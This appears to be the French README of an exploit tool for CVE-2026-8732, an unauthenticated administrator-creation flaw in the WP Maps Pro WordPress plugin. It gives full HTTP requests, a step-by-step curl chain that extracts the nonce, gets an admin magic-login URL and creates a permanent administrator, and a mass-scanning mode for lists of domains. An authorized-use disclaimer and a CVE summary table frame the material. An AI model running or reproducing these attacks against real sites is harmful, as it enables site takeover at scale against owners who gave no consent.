
Exploitation automatisée en 8 phases pour CVE-2026-8732, une élévation de privilèges non authentifiée dans WP Maps Pro ≤ 6.1.0. Utilise multiprocessing et asyncio pour scanner les cibles, extraire des nonces et créer des comptes administrateurs.
Automatisation d'exploitation en 8 phases | Multiprocessing + Asyncio | Création d'admin vérifiée
Le plugin WordPress WP Maps Pro version ≤ 6.1.0 présente une vulnérabilité d'élévation de privilèges sans authentification. Un attaquant sans aucune information d'identification peut créer un compte administrateur et prendre le contrôle du site.
La vulnérabilité provient de la fonctionnalité "Temporary Access" conçue pour l'équipe de support du fournisseur FlipperCode, mais exposée au public sans protection adéquate.
┌──────────────────────────────────────────────────────────────┐
│ FAIBLESSE 1 — Point d'accès exposé sans authentification │
│ ▸ L'action AJAX est enregistrée avec wp_ajax_nopriv_ │
│ ▸ N'importe qui peut y accéder sans connexion │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ FAIBLESSE 2 — Nonce divulgué sur les pages publiques │
│ ▸ L'objet wpgmp_local.nonce est intégré dans chaque page │
│ ▸ L'attaquant peut extraire le nonce depuis le code source │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ FAIBLESSE 3 — Aucune vérification des droits d'accès │
│ ▸ La fonction de rappel ne vérifie que le nonce │
│ ▸ Pas de current_user_can() — aucune autre défense │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 1 │──▶│ PHASE 2 │──▶│ PHASE 3 │──▶│ PHASE 4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ RENTAN
▼
┌──────────────────────────────────────────────────────────┐
│ PHASE 5 — EXTRACTION DU NONCE │
│ │
│ GROUPE A (API) GROUPE B (Contenu) GROUPE C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ Target: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE DITEMUKAN
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 6 │──▶│ PHASE 7 │──▶│ PHASE 8 │
│ EXPLOIT │ │ VERIFY │ │ AJOUT │
│ POST AJAX│ │ Magic URL│ │ ADMIN │
│ nonce+ │ │ Cookie │ │ PERMANENT│
│ check_ │ │ login │ │ REST API │
│ temp=false│ │ check │ │ WP-Admin │
└──────────┘ └──────────┘ │ Form │
│
▼
✅ ADMIN CRÉÉ
Login: wp_xxxx / pass
Role: administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false
Réponse si vulnérable :
{"url":"https://target.com/?wpgmp_access=abc123def456"}
Cette URL magique fournit une connexion automatique en tant que
fc_user_XXXXX(rôle : administrateur).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- CLÉ : confirmation de mot de passe faible
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
Point clé :
pw_weak=1doit être inclus — WordPress rejette les mots de passe faibles sans ce paramètre.
CVE-2026-8732.py
│
├── 📦 NonceFinder — Chercheur de nonce avec 7 méthodes
│ ├── Groupe A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── Groupe B (Contenu): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── Groupe C (Paksa): M7 Slug brute force (30+ slugs courants)
│
├── ⚔️ Exploiter — Moteur d'exploitation 8 phases
│ ├── resolve() → Phase 1 : Sélection du protocole
│ ├── check_wp() → Phase 2 : Vérification WordPress
│ ├── detect_plugin() → Phase 3 : Détection du plugin + nonce précoce
│ ├── detect_version() → Phase 4 : Détection de version + WAF
│ ├── exploit() → Phase 6 : Exploitation principale
│ ├── verify() → Phase 7 : Vérification de la connexion admin
│ └── add_admin() → Phase 8 : Ajout d'admin permanent
│
├── 🔧 Worker Process — Processus de travail multiprocessing
│ ├── producer() → Lit le domaine depuis mp.Queue
│ └── consumer() (N) → Exécute le scan parallèle
│
└── 🖥️ Scanner — Interface utilisateur
├── single() → Mode cible unique (interactif)
└── multi() → Mode multi-cibles (massif)
targets.txt mp.Queue (tâches) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ domain queue │───▶│ internal queue │
│ domain2 │ │ (IPC entre │ │ (par processus) │
│ domain3 │ │ processus) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ Consommateur (N) │
│ Exploiter.scan() │
│ 8 phases complètes│
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (résultats)│──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] Choisir le mode :
1. Cible unique
2. Multi-cibles (liste de fichiers)
> 1
[?] Domaine cible (sans http/https) : target.com
[?] Timeout [défaut: 15]: 15
python3 CVE-2026-8732.py
[?] Choisir le mode :
1. Cible unique
2. Multi-cibles (liste de fichiers)
> 2
[?] Chemin du fichier cible (.txt) : targets.txt
[?] Nombre de processus [défaut: 10] : 10
[?] Concurrence par processus [défaut: 50] : 50
[?] Délai d'attente par requête [défaut: 10] : 10
[?] Fichier de sortie [défaut: vuln.txt] : vuln.txt
[?] Mode débogage ? (y/n) [défaut: n] : y
# ÉTAPE 1 : Extraire le nonce de la page frontale
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# ÉTAPE 2 : Envoyer la charge utile d'exploitation
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# ÉTAPE 3 : Accéder à l'URL magique pour se connecter en tant qu'admin
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# ÉTAPE 4 : Vérifier l'accès admin
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# ÉTAPE 5 : Créer un admin permanent via l'API REST ou le formulaire WP-Admin
La création d'admin réussit SI ET SEULEMENT SI les deux conditions sont remplies :
┌───────────────┐ ┌───────────────┐
│ CONDITION 1 │ AND│ CONDITION 2 │
│ Versi ≤6.1.0 │ │ GOLD ACTIF │
│ │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
Action nopriv WPGMP_Temp_
masih terdaftar Access tersedia
│ │
└────────┬─────────┘
▼
✅ ADMIN CRÉÉ
| Si condition échoue | Résultat |
|---|---|
| Version ≥ 6.1.1 | ❌ CORRIGÉE — Action wp_ajax_nopriv_ supprimée |
| GOLD inactif | ⚠️ CRASH PHP — Classe WPGMP_Temp_Access inexistante |
CVE-2026-8732/
├── CVE-2026-8732.py # Script d'exploitation automatique
├── README.md # Documentation du projet (ce fichier)
└── LICENSE # Licence MIT
Si vous êtes propriétaire d'un site utilisant WP Maps Pro :
admin-ajax.phpLicence MIT
Copyright (c) 2026 XENON1337
L'autorisation est accordée, gratuitement, à toute personne obtenant une copie
de ce logiciel et des fichiers de documentation associés (le "Logiciel"), de
traiter le Logiciel sans restriction, y compris sans limitation les droits
d'utilisation, de copie, de modification, de fusion, de publication, de
distribution, de sous-licence et/ou de vente de copies du Logiciel, et de
permettre aux personnes à qui le Logiciel est fourni de le faire, sous réserve
des conditions suivantes :
L'avis de copyright ci-dessus et cet avis d'autorisation doivent être inclus dans
toutes les copies ou parties substantielles du Logiciel.
LE LOGICIEL EST FOURNI "EN L'ÉTAT", SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU
IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER LES GARANTIES DE QUALITÉ MARCHANDE,
D'ADÉQUATION À UN USAGE PARTICULIER ET DE NON-CONTREFAÇON. EN AUCUN CAS, LES
AUTEURS OU TITULAIRES DU COPYRIGHT NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUTE
RÉCLAMATION, DOMMAGES OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE
ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE OU EN RELATION AVEC LE
LOGICIEL OU L'UTILISATION OU D'AUTRES INTERACTIONS AVEC LE LOGICIEL.
CET OUTIL EST UNIQUEMENT POUR UN USAGE LÉGITIME. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Toute utilisation sans autorisation est ILLÉGALE et NON ÉTHIQUE. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
Créé par XENON1337
| Information | Détail |
|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (CRITIQUE) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Plugin | WP Maps Pro (wp-google-map-gold) |
| Fournisseur | FlipperCode |
| Version affectée | ≤ 6.1.0 |
| Version corrigée | 6.1.1 |
| Type | Missing Authentication for Critical Function (CWE-306) |
| Impact | Création d'admin sans authentification → contrôle total du site |
| Auteur du PoC | XENON1337 |
| Phase | Nom | Fonction | Requêtes |
|---|
| 1 | Resolve | Sélection HTTPS/HTTP en parallèle | 1 |
| 2 | Check WP | Vérifier que la cible est WordPress | 0 |
| 3 | Detect Plugin | Vérifier l'indicateur WP Maps sur 3 couches | 0-4 |
| 4 | Version + WAF | Lire readme.txt / CSS ?ver= + détection WAF | 1 |
| 5 | Extraction du nonce | 7 méthodes de recherche en 3 groupes parallèles | 0-150 |
| 6 | Exploitation | POST admin-ajax.php → création d'un compte admin temporaire | 1 |
| 7 | Vérification | Accès URL magique → confirmation session admin | 2 |
| 8 | Ajout Admin | REST API (principal) + formulaire WP-Admin (secondaire) | 4 |
| Composant | Technologie | Fonction |
|---|
| Client HTTP | aiohttp | Requêtes HTTP asynchrones avec regroupement de connexions |
| Parallélisme | asyncio + multiprocessing | Multi-processus + async par processus |
| File d'attente IPC | mp.Queue | Communication entre le processus principal et les travailleurs |
| Cookie | CookieJar(unsafe=True) | Gère les redirections inter-domaines |
| Timeout | asyncio.wait_for | Délai d'attente par cible (25 secondes) |